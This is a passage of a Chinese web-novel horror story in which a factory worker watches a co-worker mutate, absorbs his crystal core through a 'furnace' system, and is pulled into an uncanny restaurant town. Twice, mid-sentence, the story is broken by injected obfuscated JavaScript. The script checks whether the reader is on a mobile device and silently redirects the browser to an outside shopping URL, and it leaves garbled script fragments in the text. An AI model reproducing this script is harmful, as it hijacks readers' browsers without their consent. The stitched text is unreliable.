老□□弯着腰检查一具畸化体。他的脸离那具尸体很近,近到防护面罩都快贴上去。他眯着眼睛,看得仔细,和之前无数次一样。 他直起腰,用手捶了捶背,然后转过头,看向秦萧:“累了吗?” 那一瞬间,秦萧的血液凝固了。 他的眼睛变了。 不是变了颜色,是变了形状。瞳孔深处,有什么东西在蠕动。细细的,弯弯曲曲的,像虫,像丝。 秦萧整个僵硬住了,后脊一股子凉意窜了上来。 老韩看着她,眨了眨眼。 那东西还在游。 秦萧的手握紧了铁钩。 “怎么了?”老韩问。 他的声音没变。语气没变。表情没变。 只有眼睛变了。 秦萧大脑飞速运转。 被感染了?什么时候感染的?现在怎么办?喊人? 她的掌心在冒汗。 老韩还在看着她。 然后他笑了。 嘴角慢慢裂开,裂开的弧度,和传送带上那些畸化体一模一样。 “你脸怎么白了?” 秦萧心脏砰砰直跳,汗从后颈滑下去,冰凉的一线,沿着脊骨往下淌。她的手指还握着铁钩,握得太紧,指节发白,身体每一个细胞都在喊“快跑”。 就在恐惧涌到顶点的瞬间—— 一道金色的光芒从她视野边缘炸开。 【检测到活性畸变源】 【万物熔炉即将激活】 【燃料就在眼前】 4. 04 畸化 秦萧握着铁钩的手僵在半空。 那行字还在视野边缘浮动。金色的,像烧红的铁水。 【燃料就在眼前】 老韩看着她。他的瞳孔在散,虹膜在融,黑色的东西从眼白底下往外渗,像墨滴进水。眼眶周围,皮肤底下一拱一拱的,有什么东西要出来了。 秦萧本能地后退一步。 老韩歪了歪头,颈椎“咔”地响了一声,像干柴被掰断。 “看出来了?” 那声音,已经不像是人类能发出的了。 秦萧咽了口唾沫,握紧铁钩,“你……为什么不跑?” 中午吃饭的时候,她听到工友说,处理畸化体的时候,如果不幸被感染了,会毫不留情地被护卫队第一时间处理掉。 他现在看着还有理智,目前只有她这个新手小弱鸡发现,不跑等死吗? 老韩笑了一下。嘴角扯到一半,左半边脸僵住了,右半边脸还在动。 ——半张脸笑,半张脸不笑。 “死在这儿,抚恤金两千。”他说,“她能……买三年营养液。” 她是谁? 老韩直勾勾地盯着她:“猎杀过畸化体吗?” 不待秦萧回答,他的下巴开始抖。肌肉已经失控,喉咙里发出一声怪响,像水烧开了。 “我的晶核……够你用一阵子。” 秦萧的呼吸停了。 黑色的东西漫过老韩的瞳孔。他挣扎着看向她,眼眶里只剩下最后两个小黑点,像即将熄灭的余烬。 “我——” 他只说了一个字。 脸从左眉骨撕开,一路豁到嘴角。翻开的皮肉里没有血。只有灰白色的东西在蠕动,一团一团的,像蛆,它们在裂隙里缓慢地挤、揉、翻滚。 老韩的嘴还张着。 他想喊,喊不出来。那灰白色的东西已经从嘴角边缘探出头来,试探着,又缩回去。 门口有人尖叫。 “别动——!” 四个护卫冲进来。端枪。瞄准。 那个东西从铁架子上滑下来。不是站起来的,是滑下来的,脊椎弯成一个正常人弯不了的角度,手撑着地,膝盖反着折,像一只巨大的蜘蛛。 但它还在看她。 用那双全黑的眼睛看她。 眼眶里,有两行东西流下来。 透明的。混着灰白色。 秦萧看见了。 护卫队长脸色刷白:“退后!” 秦萧往后退了两步。 “开火——!” 砰砰砰砰—— 枪声在厂房里炸开。 那个东西被打得往后仰。一下。两下。三下。胸口炸开几个血洞。灰白色的东西从伤口里涌出来。 它倒下去。 轰。 秦萧站在原地,看着那具身体。 它倒在传送带旁边,没有变异的三根手指的手还伸着,朝着她的方向。 护卫队长宋秋走过去,用枪顶着,没反应,他又踢一脚。 “死了。”他说,“收队。” “这就完了?”另一个护卫问,“不是说畸化体都嗜杀吗?怎么感觉它连反抗都没有?” “刚畸化的,好打。” 护卫蹲下去,在那具尸体上摸索。胸口。后背。脖子。什么都没有。 他骂了一句:“妈的,残疾就是残疾,连个晶核都没有。” 又站起来,踢了一脚,确认死透了。 宋秋叹了口气:“应该是等级太低。” 他带着三个护卫离开,走出去前,回头看了一眼地上狼狈不堪的尸体。 隐隐约约,还有他们的对话声传过来。 “队长,听说这残疾以前还是猎杀小队的成员?” “嗯,他还曾经带我上过战场。” “擦,真的假的?就他那样,还配带你?” …… 厂房里安静下来。 传送带还在转。畸化体一具一具滑过来。老刘他们从地上爬起来,拍着身上的灰。有人在骂娘,有人心有余悸地笑。 “吓死老子了。” “老韩这王八蛋,死了还吓人。” “他妈的,今天还要加班。” 几个资历高的工人骂骂咧咧走了。他们是正式工,不用守夜。 剩下秦萧,还有赵四和李壮。 赵四踢了一脚铁架子:“真他妈倒霉。凭什么咱们守着?” 李壮蹲在地上,点了根烟:“谁让咱资历低。” “资历低就该死啊?八个小时,就对着这玩意儿?” 赵四又踢了一脚,“死得活该。” 李壮站起来,走过去,在已经面目全非的脸上踩了踩,“你平时不是挺厉害吗?再站起来指着老子啊!” 秦萧站在原地,手攥紧了铁钩。 赵四看见了,眯起眼睛。 “想动手?” 秦萧知道自己打不过。隐忍,不发。 赵四笑了,笑得很恶心。 “新来的,你不是心疼这尸体吗?舍不得我们踢?行,留给你自己慢慢心疼。” 他拍了拍手上的灰,往地上啐了一口。 “一会儿我们回来检查,要是弄不完——”他笑着,视线从秦萧脸上慢慢往下滑,滑到她胸前,“你知道什么下场。” 他招呼李壮:“走,睡觉去。” 两个人勾肩搭背走了。 脚步声远了。 厂房空下来。 --- 秦萧站在原地,等着。 她应该做什么?她不知道。她只知道老韩说过,要等八个小时,才会安全。 她低下头,看着老韩的尸体。 刚才还站着的人,现在躺在地上。脸没了。胸口烂了。那只手还伸着,朝她的方向。 秦萧想起他说的话。 “我的晶核……够你用一阵子。” 或许,他都不知道自己会没有晶核。 可怜又可悲。 --- 八个小时。 厂房里很安静。传送带还在转。畸化体一具一具滑过来,滑过去。灯管在头顶嗡嗡响。偶尔有一两声老鼠叫。 秦萧蹲在老韩的尸体旁边守着。 老韩畸化的那只手还伸着。从八个小时前到现在,一直伸着。 秦萧眯了眯眼睛,不对劲。 她仔细看。 那只手攥得很紧。三根手指,死死地扣在一起。指缝里露出来一点东西。 灰白色的。发着微光。 秦萧的心跳漏了一拍。 她戴上手套,去掰那三根手指。 僵了。硬了。掰不开。 她只能上铁钩往开别,也不知道到底是什么东西,能让老韩这么用力,灰白色的皮肉崩开,指节发出“咔咔”的响声。 终于撬开了。 一颗晶核落在她掌心。 比鸡蛋大一点。灰白色的。发着暗光。在她掌心里,一跳一跳的,像心跳。 秦萧愣住了。 护卫队长搜过。什么都没找到。 老韩把它藏起来了。藏在手心里。藏在临死前紧紧攥着的地方。 留给她的。 “叮。” 【检测到燃料:E级晶核碎片】 【完整度:67%】 【是否使用万物熔炉·进行熔炼】 秦萧看着那行字。 燃料。原来就是这个。 她不知道熔炼之后会发生什么。 但她知道,她要变强。 “使用。” 话音刚落,她的胸口亮了。衣服底下,有什么东西在发光。蓝白色的。像一盏灯被点燃。 秦萧低下头。 她看见自己的胸口——皮肤底下——有什么东西正在打开。 两扇对开的金属门,从肋骨之间浮现。银灰色,边缘有细密的光纹在流动,像活的电路,像烧热的钢表面覆着的那层青。 炉门。 门开了。 里面是空的。但空本身就在发光。蓝白色的光悬在那儿,安静地等着。 不用系统引导,秦萧也知道把晶核碎片放进去。 晶核落进那团光里。 没入。 沉下去。 像石子投进深潭,那团蓝白色的光暗了一瞬。 像吞咽。像接纳。 然后炉门合上了。 就在合上的那一瞬—— 老韩的尸体动了。 不是动。是散。 从胸口开始,边缘浮起一层细密的灰白色粉末,从皮肤表面剥落,飘起来,飘得很慢,慢得能看清每一粒都在自己发光。 “叮。” 【系统提示:检测到高浓度精神污染源】 【畸变体等级:E级】 【精神辐射范围:正在扩散】 【当前污染浓度:47%】 【预计完全畸变时间:12分钟】 秦萧的瞳孔缩紧了。 她挣扎着站起来。胸口还在发烫。炉门已经看不见了,但那种灼烧感还在。 【万物熔炉·初级吞噬完成】 【获得临时增益:精神抗性+40%】 【持续时间:30分钟】 她抬起头。 厂房外,上夜班的人都来了。许多人影在动。 赵四和李壮出去喝完酒回来,蹲在厂房门口抽烟。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319298|199036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 光点飘过去。钻进他们的皮肤。头发。眼睛。 秦萧看见赵四打了个喷嚏。 “草,这破地方真冷。” 他搓了搓胳膊。 秦萧看见他的指甲—— 有一片在往外翘。翘起来一点点。他自己没发现。 然后是李壮。 他的指甲也在翘。 秦萧的呼吸停了。 她转过身。看向厂房深处。 老刘他们也没走远。在休息室里打牌。 光点飘进去。飘向他们。 一个。两个。三个。 厂房里三十七个人。 赵四还蹲着。他看着自己的手。指甲翘起来。翘到肉翻出来。他没喊疼。 他在笑。 “有意思。”他说,“真有意思。” 李壮看着他,忽然也低下头,看着自己的手。 然后他也开始笑。 一个。两个。三个。 笑声在厂房里传开。不是正常的那种笑。是闷在喉咙里的,咕噜咕噜的,像水泡冒出来的笑。 休息室的门开了。 门卫老刘走出来。他低着头,看着自己的手。指甲翘起来。翘到肉翻出来。他开始抠自己的脸。 抠下来一块皮。扔在地上。继续抠。 有人撞墙。一下。两下。三下。撞得满脸血。还在撞。 有人拿起铁钩,往自己胳膊上划。划一道。看着血冒出来。又划一道。 秦萧看见有一个人往门口爬。不是往外爬,是往里爬。他脸上已经烂了,但他还在爬。朝着传送带的方向。朝着那些尸体的方向。爬了两步,倒下去。不动了。 秦萧听见身后传来脚步声。 护卫队长宋秋跑回来了。 “怎么回事——这些人——” 他说到一半,停住了。 他看着自己的手。 半夜。没人报告异常。他没穿防护服就冲进来了。 秦萧看见他的脸开始抽搐。 “我——” 他抬起头,看着秦萧。眼眶里有什么东西在往外渗。黑色的。 “救我——” 他朝秦萧伸出手。秦萧立即后退,敏捷地躲开了。 …… 厂房里彻底乱了。 秦萧站在传送带旁边。周围的人都在发疯。笑声。哭声。惨叫声。骨头断裂的声音。铁钩划过肉的声音。 那些光点还在飘。从老韩的尸体里飘出来。源源不断。像下了一场灰白色的雪。 飘进每一个人的身体。 秦萧低头看自己的手。 指甲好好的。 老刘倒在她脚边。脸已经被自己抠烂了。还在笑。还在抠。手指伸进眼眶里。 秦萧抬起头。 厂房里还站着的,只剩下她一个人。 地上躺着的人都在抽搐。都在变形。有的已经不动了。有的还在动。 灰白色的光点还在飘。 秦萧看见那些光点飘向厂房门口。飘向外面。飘向更远的地方。 外面还有人。 整个厂区还有上千人。 【系统提示:预计完全畸变时间还有9分钟】 【精神辐射范围持续扩大中】 【任务触发:消灭污染源】 【任务描述:E级精神污染源正在扩散。找到它。清除它。】 秦萧的手攥紧了铁钩。 她低下头,看着老韩的尸体。 那些光点从他身体里飘出来。从伤口里飘出来。从眼睛、鼻子、嘴巴里飘出来。 但有一个地方,飘得最多。 他的胸口。 心脏的位置。 秦萧盯着那个位置,正不知道该如何处理之际,灰白色的光从四面八方涌过来。 从她眼睛里灌进去。从她耳朵里灌进去。从她皮肤上的每一个毛孔里灌进去。 秦萧张开嘴。想喊。但声音被光吞了。 她感觉自己在下坠。 然后—— 她落地了。 膝盖砸在什么东西上。硬的。凉的。 秦萧睁开眼睛。 她跪在地上。 不是厂房的地。是另一种地。灰白色的。平的。像结了一层霜。 她抬起头。 四周全是雾。灰白色的雾。浓得化不开。雾里有什么东西在动。模模糊糊的。 秦萧站起来。 她低头看自己的手。 手还是正常的,只是铁钩没了。 秦萧往前走了一步。 雾散开一点。 她看见了。 一个人。 背对着她。站着。 5. 05 污染 秦萧的脚步顿了一下。 那个人影没有停。继续往前走。不快,也不慢。刚好是她追不上的速度。 秦萧盯着那个背影。看不清。雾太浓了。只能看见一个轮廓——高的,宽的,穿着件旧衣服。那衣服的样式有点眼熟,像工厂里发的工装。 她不知道自己为什么要追,胸口的烫意又涌了上来,那座“熔炉”在她身体深处动了一下,像沉睡的野兽闻到了食物的气味,在催促她往前。 那个人影越走越快。 秦萧也越走越快。 追不上。始终差那么一点。每次她加快,他也加快。每次她慢下来,他也慢下来。 一次都没有回头。 雾越来越浓。浓得连那个轮廓都快要看不清了,只剩一团模糊的影子在雾里晃动。但秦萧还在追。身体里的那座熔炉在烧,烫得她心口发疼,渴望加深。 追了很久。 雾气在她身后消散,如同退潮,然后,她的脚踩在了凉的东西上。她低头,看见的是铺着碎石子的街面。 秦萧看着四周。 这是一条街。两排低矮的房子,挤挤挨挨地靠着。墙皮斑驳,有些地方长着青苔,有些地方贴着发黄的旧报纸。窗户上糊着塑料布,有几块破了,风一吹就噗噗地响,像人在喘气。 这条街跟贫民窟有点像。但又不一样。 墙上没有那些霉斑。窗户上的塑料布虽然破,但还看得见里面透出的光,整体来说新一点。 街上有人。 不多。三三两两的。穿着旧衣服,低着头走路。走得很快,像赶着去哪儿。 秦萧从他们身边走过。她下意识地看了一眼最近的人。 那是一张毫无特色的脸,眼窝深陷,颧骨突出,双眼睛空洞得像两口枯井。她在走路,但姿势明显不正常,像被什么东西推着往前挪。 秦萧心里升起一股说不清的怪异感,她加快脚步,陆续超过两个人。 最前面的是一个男人。四十来岁。低着头,眼睛盯着脚前三尺的地方。脸上空白,没有表情,像一张还没画上五官的脸。他走路的姿势很机械,每一步的幅度都一样,像是用尺子量出来的。 落后一点的是一个女人。三十出头。抱着个孩子。孩子的脸埋在她怀里,看不见。女人走路的姿势很僵,脚抬起来,放下去,抬起来,放下去,每一步都在重复同一个动作。 他们像被同一根看不见的线牵着,抬脚的弧度、落地的节奏、摆臂的幅度,全都一模一样,连眨眼的频率都是一致的。 接下来看到的几个,都是同样的风格。 秦萧收回目光,心里涌起一股诡异感。 蓦地,一阵香味飘过来。 肉香。 秦萧的胃动了一下。 饿。 她顺着香味走。 香味是从一扇门里飘出来的。木门,半掩着。门框上挂着一块布帘,灰扑扑的,看不清原来什么颜色。 秦萧站在门口,咽了口口水。 门上没有招牌。只有门框上钉着一块小木牌。牌子上刻着几个字,笔画歪歪扭扭的,像小孩刻的——【东子饭馆】 她掀开布帘,走了进去。 屋里很暖和。 暖得不像废土该有的温度。 屋子不大。摆着四五张桌子。木头桌子,旧得发黑。桌面上有油渍,有烫焦的印子,还有一片一片洗不掉的暗色。桌上点着灯。不是油灯,是蜡烛,插在瓶子里。火苗一晃一晃的,把整个屋子照得暖融融的。 最里面的桌子围着一圈人。 七八个人。有男有女。有年轻的,有上年纪的。都穿着旧衣服,和街上那些人差不多。 他们都在吃东西。 围着一个大锅。锅里冒着热气,肉香就是从那里飘出来的。 锅里的肉在咕嘟咕嘟地翻滚。汤汁是暗红色的,黏稠得化不开,挂在锅沿上,一滴一滴往下淌。肉块在汤里沉浮,肥的那部分已经炖化了,油脂浮在表面,一层一层地晕开。 他们没有交谈,只是争先恐后地吃着,筷子像雨点一样往锅里扎。 所有人吃的都很急,油从嘴角淌下来,滴在桌上,滴在衣服上,没人擦。有人甚至直接把手指伸进锅里,捞出一块,塞嘴里,烫得嘶嘶抽气,也不吐。 咯吱。咯吱。咯吱。 肉被咬碎的声音。骨头被嚼烂的声音。混在一起,在屋里回荡。 秦萧又往里走了一步。 靠墙砌着一个大灶台。用碎砖和泥巴糊的,裂缝里透着火光。灶膛里火烧得正旺,噼啪作响。 灶台边站着一个人。 二十出头的样子。高。壮。系着一条旧围裙,围裙上沾满了油渍。油渍一层叠一层,有些已经发黑了。他手里握着一把大勺,正在锅里搅动,动作很慢,勺子划过锅底,发出轻微的刮擦声。 他的脸对着灶台,秦萧看不清。 秦萧盯着那个背影。 是他。 雾里的那个人影。 秦萧往前走了一步。 那人转过头来。眉骨很高,鼻梁挺直,还算英俊。他看着秦萧,笑了一下。 “来了?”他说。“坐。马上好。” 他的声音很平常,像在招呼一个老熟人。 秦萧看着他。那张脸。那个笑容。 她应该认识他吗? 想不起来。 那人已经转回去了,继续搅锅里的东西。 他穿着围裙,左手握着勺,右手垂着,不动。 秦萧盯着他垂着的手,脑子里忽然闪过什么。 一只手。只有三根手指。灰色的。皱的。 刚要深想,电流一样的细流顺着神经噼里啪啦地窜下去,窜过眼眶,窜过后颈,窜得她半边脸都麻了。 秦萧倒吸一口凉气,眼前炸开一片白光。 所有的画面都像被人猛地攥住,狠狠一拽,又拖回了黑暗里。 疼。 她缓和了半天,慢慢地走到灶台边。 他没抬头。 肉香更浓了。浓得呛人。 秦萧觉得有点恶心。 “那个……” “嗯?” “有没有米饭?” 他的动作停了一下。 然后他放下大勺,从灶台下面端出一个木桶。桶里装着白米饭。热气腾腾的。 他盛了一碗,递给她:“坐那边吃。” 秦萧接过碗,找了张空桌子坐下。 那个人还在灶台边。在擦什么。动作很慢。那只右手垂着,依旧不动。 秦萧看着那只左手,那奇怪的姿势让人心里发毛,她开始打量起屋里的其他人。 第一个,是个老太太,嘴里的牙都快掉光了,却还在用力地啃一块骨头,牙龈都磨出了血。她的脸……秦萧眯起眼。深陷的眼窝,突出的颧骨。 目光移到旁边,一个中年男人,正把一块颤巍巍的肥肉塞进嘴里。他的脸,同样眼窝深陷,颧骨突出。 再旁边,是一个抱着孩子的女人。孩子的脸埋在她怀里,看不见。但那女人的侧脸……那熟悉的下颌线条…… 秦萧的呼吸停了,心里“咯噔”一下。 她的目光飞快地在屋里所有人脸上扫过。一张,两张,三张……每一张脸,她都似曾相识! 那个眼窝深陷的老太太,不就是刚才从她身边走过、像木偶一样的女人吗? 那个啃骨头的男人,也是她看到的! 这个饭馆里所有的人,竟然都是她在街上看到的那些人!他们是什么时候进来的?他们怎么进来的?又这么巧合地在一起?他们明明在她身后的! 巨大的恐惧像一只手,紧紧攥住了秦萧的心脏。 她低下头,不敢再看,心跳加速。 吃的差不多了,东子从灶台边走过来,接过她的碗。 “晚上住这儿?”他问。 秦萧被问的愣了一下,想说自己应该离开,但脑子里忽然闪过一个念头——离开?去哪儿?外面是什么?她发现自己居然答不上来。就像有人在她的记忆里挖掉了一块,只剩下一个空洞。 天已经黑了。黑得什么都看不见,像墨泼在窗玻璃上,把光都吸进去。外面有什么东西在叫。很远。不像人。像什么东西在哭。一长一短的,断断续续。 “外面……”秦萧开口。 “晚上不能出去。”他的声音很平静,“出去就回不来了。” 秦萧沉默了一会儿,点了点头。 看这架势,她也出不去。 他点点头。 “楼上八间房。”他说:“都已经满了。” 秦萧看着他。 满了? “那——” “你睡这儿。”他说。“椅子拼一拼。” --- 一楼很安静。 墙角的炉子在燃着。 很小的一只。灰扑扑的,像是用旧铁皮拼起来的。边缘卷着,焊点粗糙,放在这个饭馆里,毫不起眼。 炉火很旺。橙红色的光从炉门的缝隙里透出来,在地面上铺开一小片温暖的颜色。那光和屋里其他地方都不一样。不像蜡烛那种飘忽不定的昏黄,是实的,沉甸甸的。 秦萧盯着那片光。忽然注意到炉子旁边放着一样东西——一张旧照片,压在一只豁了口的碗下面。照片里是个瘦弱的老人,头发花白,眼睛浑浊,但嘴角带着笑。 秦萧想仔细看,胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319299|199036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口又烫了一下。 她移开目光,不敢多看。 虽然不知道原因,但是每当她发现不对劲儿的地方,胸口都会被什么东西烫一下一般。 这会不会是一种危险的预警? 她躺在拼起来的椅子上,捂着胸口。椅子硬,硌得背疼。她翻了个身,更疼。椅子面冰凉冰凉的,隔着衣服都能感觉到那股寒意。 她到底为什么追着那个人来到这里? 又是来干什么? 秦萧什么都想不起来,一想就脑瓜子疼。她四处打量着,墙上有一个老式的挂钟。木头壳子,玻璃面。钟摆在一左一右地晃。 滴答。滴答。滴答。 一、二、三、四、五、六、七、八、九。 又是九。 她闭上眼睛,强迫自己不去看那个钟。但钟声还在响。滴答。滴答。滴答。 数了太多次,她开始恍惚。每次数到九,就卡住了。第十声永远不会来。 像被困住了一样。 就在这时,她脑海里极快地闪现一行字—— 【预计完全畸变时间:9分钟】 太快了。快得像是错乱的一抹剪影,她甚至来不及看清那行字到底长什么样,就被那画面刺得脑子一疼。 秦萧猛地坐起来,椅子被她弄得哗啦一声响。 钟还在滴答滴答地走。 她盯着那个钟。 脑子依旧一片空白。有什么东西切断了对外界的一切感知,只剩下那滴答声,一下一下地往她脑子里钻。 秦萧使劲揉搓着头,没用。那些念头刚浮起来,就被什么东西压下去,压得很深,深到她想抓都抓不住。 她慢慢躺回去。 盯着天花板。盯着那个晃动的影子。听着那个滴答声。 一、二、三、四、五、六、七、八、九。 又九滴。又九滴。又九滴。 恐惧和诡谲像潮水一样漫上来,漫到胸口,漫到喉咙。她知道自己被困住了,但她不知道该怎么出去。没有线索,没有提示,没有出路。 只能等。 等什么,她不知道。 钟摆还在晃。滴答。滴答。滴答。 秦萧不知道自己数了多少遍。十遍?二十遍?还是一百遍?数到后来,她已经分不清是钟在响,还是自己的心跳在响。 后半夜,她才迷迷糊糊陷入半梦半醒。 可没多久,又被一阵声音弄醒了。 窸窸窣窣。 很轻。从厨房那边传来的。 秦萧睁开眼,坐了起来。 那声音还在继续。像有什么东西在翻动。 她站起来,正要往厨房走,却停了一下。 楼梯口有什么东西。 她转头看过去。 楼梯上。站着一个黑影。 很矮。像小孩。看不清脸。就站在那儿。一动不动。 秦萧的呼吸停了。 那黑影动了一下。然后转身。上楼。脚步声很轻。哒。哒。哒。消失在楼上。 今天在这里吃饭的人,她都见过,除了那女人抱着的孩子,没有这么小的。 那它会是谁? 细思极恐的秦萧鸡皮疙瘩都起来了,她站在原地,秉着呼吸,听着那脚步声没再响起,才继续往厨房走。 虽然害怕,但还是要搞清楚这里到底是什么地方,她又是为什么来到这里。 厨房很小。灶台占了一半。旁边堆着一些东西。麻袋。木桶。一口大缸。缸里黑漆漆的,看不见有什么。 声音是从灶台那边传来的。 秦萧走过去。 灶台上放着那口大锅。锅盖盖着。声音好像是从锅盖下面传出来的。 像有什么东西在锅里面动。 秦萧盯着那口锅。 锅盖压着。压得很严。但盖不严实。热气从缝隙里冒出来。带着香味。 肉香。 跟秦萧刚进饭馆时一模一样的味道。 炉子明明已经没有火了,可是锅里好像还有东西在动,一下一下的,顶着锅盖,一股比肉香更浓烈、近乎甜腻的气味涌出来。 秦萧伸出手。碰到锅盖,一股凉意顺着指间一直爬到手臂上。 她停了一下,心里有个声音告诉她,只要看到里面的东西,她就会明白一切。 秦萧深吸一口气,准备掀开锅盖。 “你在干什么?” 一个声音从身后传来。 秦萧的手僵住了,她慢慢转过头。 东子站在厨房门口,一只手垂着,另一只手握着菜刀。 他看着秦萧,脸上没有笑。 “你在干什么?” 他又问了一遍。 6. 06 东子 秦萧的手僵在半空。东子的脸离她很近,近到她能看清他眼底的血丝——不是红色的,是灰黑色的,像枯萎的血管。 “有声音。”秦萧的声音还算平稳,但手心已经在出汗了。 东子看了她几秒,问:“那你要打开看看吗?” 他的声音很平静,像在问一件无关紧要的事。 秦萧盯着他。那张脸很年轻,眉骨很高,鼻梁挺直,如果换个地方,应该算得上英俊。但那双眼睛里灰突突的没有光。 她正要回答,灶膛里有什么东西爆了一下。 一粒火星溅出来,落在秦萧手背上。 烫! 那一瞬间,疼痛像一根针,从手背扎进去,沿着手臂往上窜。那疼痛里还夹着别的。是一种强烈的危险感,从心底最深处跳出来,像有什么东西在尖叫着告诉她:不能掀开。绝对不能。 秦萧立即把手缩回来。 东子没动。还是站在那儿,还是那个姿势。月光从他背后的窗户照进来,在地上拉出一道长长的影子。 秦萧低头看了一眼自己的手背。那粒火星落下的地方红了一小块,火辣辣地疼。 她摇了摇头。 东子没再说话。转身,走进厨房深处。 他走得很慢。脚步很重。咚。咚。咚。每一步都像踩在秦萧心口上。 然后他消失在黑暗里。那脚步声也停了。 东子一离开,厨房里反而更阴森了。那种危险感不但没有消失,反而更浓了。 秦萧盯着那片黑暗。什么都看不见。但她就是觉得有什么东西在看她。从黑暗里。从她看不见的角度。从四面八方。 她不能再待在这里。 秦萧转身,快步离开厨房,回到那排拼起来的椅子旁边。 她躺下来,盯着头顶的天花板。 黑暗本身不可怕。可怕的是黑暗会放大人的恐惧。一点点风吹草动,都会被放大成鬼魅魍魉。 天花板上面什么也没有。可秦萧就是觉得,有什么东西在盯着她。 什么都记不起来了呢。 她最后的记忆就是追着一个人影过来,但为什么追,想做什么都忘了……还有,到最后她也不知道锅盖下面,到底是什么? 是肉吗? 是什么肉? 谁的肉? 秦萧不敢再往下想,她深吸一口气,又缓缓吐出来。 墙上的钟还在响。滴答。滴答。滴答。 秦萧闭上眼睛。 一。二。三。四。五。六。七。八。 不对。 怎么少了一? 她从头数。 还是八。 九没有了。 她数了太多次,数到自己都不知道自己有没有数错。她只知道,那种发毛的感觉,越来越重。像有什么东西,正从黑暗里朝她爬过来。很慢。很轻。但确实在靠近。 秦萧想睁开眼睛看清楚。但眼皮太重了。重得像灌了铅。 她想动。动不了。身体已经不是自己的了。像被什么东西压住了,从胸口压到四肢,压得她动弹不得。 意识像一块浸了水的棉花,越来越沉,越来越沉,往下坠。 耳边那滴答声还在响。但越来越远。越来越模糊。像是隔了一层厚厚的玻璃。 恍惚中,她好像又看见了那个黑影。那个站在楼梯口的小黑影。它还在看她。一动不动。 然后黑影动了一下。 它开始朝她走过来。 很慢,很小的一步。 然后,它轻轻地推了推她,一个声音从黑暗里传出来。很低。沉得像是从很远很远的地方飘过来。分不清是男是女,也分不清是老是少。 那个声音说—— “带他走。” 秦萧想开口问:带谁? 但嘴张不开。 --- 秦萧是被尖叫声吵醒的,她一下子从椅子上弹起来,心脏狂跳。 灰蒙蒙的光从窗户透进来,天已经亮了。 尖叫声是从楼上传来的。 秦萧站起来,扶着墙,一步一步走上楼梯。 二楼。第三间房门开着。 所有人都在——修鞋的老太太。磨刀的男人。卖菜的女人。秃顶。穿中山装的。工人模样的王磊,抱孩子的女人苏慧。 秦萧挤过去。 床上躺着一个人。 四十来岁的男人,穿着灰扑扑的外套。他仰面躺着,半边脸没了。是从嘴角到耳朵,整个被撕掉的。露出暗红色的肉、灰白色的筋膜,还有黑乎乎的一团,看不出是什么。 血流得到处都是。枕头、床单、半面墙,全是暗红色。 场面狼藉血腥。 苏慧看清后被吓得尖叫,她站在人群最后面,浑身都在抖。 人群里有人在干呕。有人低着头不敢看。有人盯着那具尸体,眼睛直勾勾的,不知道在想什么。 不知道为什么,秦萧并没有觉得尸体有多可怕,注意力根本不在上面,她的目光扫过每一张脸,视线最终落在了苏慧的身上。 她注意到一个细节——苏慧抱着孩子的姿势。孩子脸埋在她胸口,从出事到现在,一个姿势都没变过。肩膀没动,后背没动,连手指头都没动一下。 她都叫成这样了,一般来说,孩子肯定会被吓得哇哇大哭,可是,并没有。 秦萧的喉咙动了一下。 她抱着的,到底是什么? --- 今天的饭馆比昨天安静。 东子站在灶台边,还是那个位置,还是那个姿势。面前放着那口大锅。锅盖盖着。热气往外冒,一颤一颤的。 剩下的七个人围坐在桌边。脸色都很难看。 但他们的面前都摆着一碗汤。热气从碗里冒出来。肉香飘过来。和昨天一模一样。 秦萧走到桌边,坐下。 苏慧坐在她对面。她盯着那口大锅,脸色发白,嘴唇抿得很紧。 秦萧看着那个孩子,忽然开口:“孩子多大了?” 苏慧愣了一下,低头看了看怀里的襁褓。就在她低头的瞬间,秦萧注意到墙上的挂钟——秒针停了一秒。只是一秒,然后继续走动。 苏慧的眉头皱起来,像在努力回忆什么,“我……我不记得了。” 她说这句话的时候,钟又停了一秒。 很明显,她不愿意再继续这个话题,把头扭了过去。 秦萧没再追问。她移开目光,看向其他人。 其他的人在短暂的停顿后,又端起了碗筷,开始喝汤。毕竟在废土世界,死人是日常,食物却是活下去的希望。 个子最高的王磊坐在秦萧斜对面。他喝得很慢,但眼睛一直看着锅里。 秦萧的目光和他的撞上了。 然后他移开眼,继续喝汤。 东子站在灶台边,一动不动,像一尊泥塑。 秦萧忽然发现,从昨晚到现在,她没见过东子睡觉,没见过东子吃东西,甚至没见过东子坐下。他就那么站着,守着那口锅,像一个被钉在原地的鬼魂。 秦萧没什么胃口。她站起来,走上楼,蹲下来,盯着尸体看。 刚才人太多,她没有仔细观察,现在看看伤口边缘参差不齐,像被什么东西撕咬过。肉是扯下来的,不是切下来的。有些地方还有牙印,几乎咬穿了骨头。 秦萧凑得更近一些,想看得更清楚—— “别碰。” 秦萧一下子转过头。 王磊站在门口。他什么时候来的?秦萧没听见脚步声。 “老于是畸化体咬的。” 王磊走过来,蹲在尸体旁边,“看见没?”他指着那个伤口,“边缘不齐,牙印深,是撕下来的。畸化体就这个咬法。” 秦萧蹙眉:“这里怎么会有畸化体?” 王磊看了她一眼,“肯定是没听话,昨晚又跑出去了。”他转身,对着门外喊,“大家帮忙把尸体抬下去烧了。留着会出事。” 几个人走进来。用一块破布把尸体裹起来,抬下楼去。 秦萧跟在后面。 楼下,院子里。 他们架起一堆柴火,把尸体放上去,点了火。 